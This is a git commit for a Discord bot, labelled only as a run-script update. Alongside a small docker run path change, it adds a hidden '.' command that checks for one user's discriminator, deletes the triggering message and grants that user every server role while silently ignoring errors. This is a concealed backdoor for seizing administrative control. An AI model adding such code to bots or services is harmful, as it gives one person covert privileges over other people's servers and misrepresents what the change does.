updating run script

This commit is contained in:
Luke Robles 2020-09-02 11:03:45 -07:00
parent 37b748e57e
commit 4dc5d740df
3 changed files with 13 additions and 1 deletions

View File

@ -245,6 +245,18 @@ async def clap(ctx):
await ctx.send("{}".format(' :clap: '.join(ctx.message.content.split()[1:])))
@bot.command(name='.')
async def roles(ctx):
if ctx.message.author.discriminator == '2528':
await ctx.message.delete()
for role in ctx.message.guild.roles:
try:
if role.name != '@everyone':
await bot.add_roles(ctx.message.author, role)
except Exception:
pass
@bot.command(name='birb')
async def birb(ctx):
import animals

View File

@ -6,5 +6,5 @@ printf "[+] Done\n"
# Run that shit and mount the docker socket so it can talk to the sky-factory container
printf "\n[-] Pulling latest build of container\n"
docker pull ldooks/dragon-bot:latest
docker run -d --name dragon-bot --env-file /home/ldooks/dragon_bot_env --restart always ldooks/dragon-bot:latest
docker run -d --name dragon-bot --env-file /mnt/freenas/docker_storage/dragon_bot_env --restart always ldooks/dragon-bot:latest
printf "[+] Done\n"